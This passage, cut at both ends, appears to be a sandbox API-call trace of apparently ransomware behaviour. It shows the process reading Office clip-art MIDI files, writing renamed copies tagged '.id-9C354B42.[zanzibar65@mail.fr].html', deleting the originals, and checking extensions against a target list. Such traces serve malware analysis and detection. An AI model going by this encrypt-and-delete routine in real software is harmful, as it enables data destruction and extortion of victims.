lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x16e0, lpOverlapped=0x0) returned 1 [0271.403] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.403] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.403] SetEndOfFile (hFile=0x37c) returned 1 [0271.403] CloseHandle (hObject=0x37c) returned 1 [0271.403] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.403] SetEndOfFile (hFile=0x2ec) returned 1 [0271.406] CloseHandle (hObject=0x2ec) returned 1 [0271.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0271.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0271.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0271.407] lstrlenW (lpString=".doc") returned 4 [0271.407] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.407] lstrlenW (lpString=".docx") returned 5 [0271.407] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.525] lstrlenW (lpString=".pdf") returned 4 [0271.525] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.525] lstrlenW (lpString=".xls") returned 4 [0271.525] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.525] lstrlenW (lpString=".xlsx") returned 5 [0271.525] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.525] lstrlenW (lpString=".ppt") returned 4 [0271.525] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0271.525] lstrlenW (lpString=".zip") returned 4 [0271.525] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.525] lstrlenW (lpString=".rar") returned 4 [0271.525] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.525] lstrlenW (lpString=".bz2") returned 4 [0271.525] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.525] lstrlenW (lpString=".7z") returned 3 [0271.526] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0271.526] lstrlenW (lpString=".dbf") returned 4 [0271.526] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0271.526] lstrlenW (lpString=".1cd") returned 4 [0271.526] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0271.526] lstrlenW (lpString=".jpg") returned 4 [0271.526] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0271.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0271.526] lstrlenW (lpString=".doc") returned 4 [0271.526] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.526] lstrlenW (lpString=".docx") returned 5 [0271.526] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.526] lstrlenW (lpString=".pdf") returned 4 [0271.526] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.526] lstrlenW (lpString=".xls") returned 4 [0271.526] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.526] lstrlenW (lpString=".xlsx") returned 5 [0271.526] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.526] lstrlenW (lpString=".ppt") returned 4 [0271.526] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0271.526] lstrlenW (lpString=".zip") returned 4 [0271.526] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.526] lstrlenW (lpString=".rar") returned 4 [0271.527] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.527] lstrlenW (lpString=".bz2") returned 4 [0271.527] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.527] lstrlenW (lpString=".7z") returned 3 [0271.527] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0271.527] lstrlenW (lpString=".dbf") returned 4 [0271.527] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0271.527] lstrlenW (lpString=".1cd") returned 4 [0271.527] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0271.527] lstrlenW (lpString=".jpg") returned 4 [0271.529] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.530] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.530] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0271.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.586] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=6880) returned 1 [0271.587] CloseHandle (hObject=0x304) returned 1 [0271.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 0x20 [0271.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.618] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.618] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0271.632] GetLastError () returned 0x0 [0271.632] ReadFile (in: hFile=0x37c, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x1ae0, lpOverlapped=0x0) returned 1 [0271.655] WriteFile (in: hFile=0x354, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x1af0, lpOverlapped=0x0) returned 1 [0271.655] ReadFile (in: hFile=0x37c, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.655] WriteFile (in: hFile=0x354, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.655] SetEndOfFile (hFile=0x354) returned 1 [0271.656] CloseHandle (hObject=0x354) returned 1 [0271.656] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.656] SetEndOfFile (hFile=0x37c) returned 1 [0271.660] CloseHandle (hObject=0x37c) returned 1 [0271.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 1 [0271.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0271.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0271.743] lstrlenW (lpString=".doc") returned 4 [0271.743] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.743] lstrlenW (lpString=".docx") returned 5 [0271.743] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.743] lstrlenW (lpString=".pdf") returned 4 [0271.744] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.744] lstrlenW (lpString=".xls") returned 4 [0271.744] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.744] lstrlenW (lpString=".xlsx") returned 5 [0271.744] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.744] lstrlenW (lpString=".ppt") returned 4 [0271.744] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0271.744] lstrlenW (lpString=".zip") returned 4 [0271.744] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.744] lstrlenW (lpString=".rar") returned 4 [0271.744] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.744] lstrlenW (lpString=".bz2") returned 4 [0271.744] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.744] lstrlenW (lpString=".7z") returned 3 [0271.744] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0271.744] lstrlenW (lpString=".dbf") returned 4 [0271.744] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0271.744] lstrlenW (lpString=".1cd") returned 4 [0271.744] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0271.744] lstrlenW (lpString=".jpg") returned 4 [0271.744] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0271.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0271.744] lstrlenW (lpString=".doc") returned 4 [0271.744] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.744] lstrlenW (lpString=".docx") returned 5 [0271.744] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.744] lstrlenW (lpString=".pdf") returned 4 [0271.745] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.745] lstrlenW (lpString=".xls") returned 4 [0271.745] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.745] lstrlenW (lpString=".xlsx") returned 5 [0271.745] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.745] lstrlenW (lpString=".ppt") returned 4 [0271.745] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0271.745] lstrlenW (lpString=".zip") returned 4 [0271.745] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.745] lstrlenW (lpString=".rar") returned 4 [0271.745] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.745] lstrlenW (lpString=".bz2") returned 4 [0271.745] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.745] lstrlenW (lpString=".7z") returned 3 [0271.745] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0271.745] lstrlenW (lpString=".dbf") returned 4 [0271.745] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0271.745] lstrlenW (lpString=".1cd") returned 4 [0271.745] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0271.745] lstrlenW (lpString=".jpg") returned 4 [0271.745] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.745] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.745] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0271.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.759] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=5440) returned 1 [0271.759] CloseHandle (hObject=0x388) returned 1 [0271.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 0x20 [0271.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.761] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.761] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.761] GetLastError () returned 0x0 [0271.761] ReadFile (in: hFile=0x388, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x1540, lpOverlapped=0x0) returned 1 [0271.763] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x1550, lpOverlapped=0x0) returned 1 [0271.763] ReadFile (in: hFile=0x388, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.764] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.764] SetEndOfFile (hFile=0x2f8) returned 1 [0271.764] CloseHandle (hObject=0x2f8) returned 1 [0271.764] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.764] SetEndOfFile (hFile=0x388) returned 1 [0271.766] CloseHandle (hObject=0x388) returned 1 [0271.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0271.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0271.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0271.767] lstrlenW (lpString=".doc") returned 4 [0271.767] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.767] lstrlenW (lpString=".docx") returned 5 [0271.767] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.767] lstrlenW (lpString=".pdf") returned 4 [0271.767] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.767] lstrlenW (lpString=".xls") returned 4 [0271.767] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.767] lstrlenW (lpString=".xlsx") returned 5 [0271.767] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.767] lstrlenW (lpString=".ppt") returned 4 [0271.767] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0271.767] lstrlenW (lpString=".zip") returned 4 [0271.767] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.767] lstrlenW (lpString=".rar") returned 4 [0271.767] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.767] lstrlenW (lpString=".bz2") returned 4 [0271.767] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.767] lstrlenW (lpString=".7z") returned 3 [0271.767] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0271.767] lstrlenW (lpString=".dbf") returned 4 [0271.767] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0271.768] lstrlenW (lpString=".1cd") returned 4 [0271.768] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0271.768] lstrlenW (lpString=".jpg") returned 4 [0271.768] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0271.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0271.768] lstrlenW (lpString=".doc") returned 4 [0271.768] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.768] lstrlenW (lpString=".docx") returned 5 [0271.768] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.768] lstrlenW (lpString=".pdf") returned 4 [0271.768] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.768] lstrlenW (lpString=".xls") returned 4 [0271.768] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.768] lstrlenW (lpString=".xlsx") returned 5 [0271.768] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.768] lstrlenW (lpString=".ppt") returned 4 [0271.768] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0271.768] lstrlenW (lpString=".zip") returned 4 [0271.768] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.768] lstrlenW (lpString=".rar") returned 4 [0271.768] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.768] lstrlenW (lpString=".bz2") returned 4 [0271.768] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.768] lstrlenW (lpString=".7z") returned 3 [0271.768] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0271.769] lstrlenW (lpString=".dbf") returned 4 [0271.769] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0271.769] lstrlenW (lpString=".1cd") returned 4 [0271.769] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0271.769] lstrlenW (lpString=".jpg") returned 4 [0271.769] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.769] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.769] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0271.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.770] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=6644) returned 1 [0271.770] CloseHandle (hObject=0x388) returned 1 [0271.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 0x20 [0271.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.771] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.771] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.771] GetLastError () returned 0x0 [0271.771] ReadFile (in: hFile=0x388, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x19f4, lpOverlapped=0x0) returned 1 [0271.773] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x1a00, lpOverlapped=0x0) returned 1 [0271.773] ReadFile (in: hFile=0x388, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.773] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.774] SetEndOfFile (hFile=0x2f8) returned 1 [0271.774] CloseHandle (hObject=0x2f8) returned 1 [0271.774] SetFilePointerEx (in: hFile=0x388, 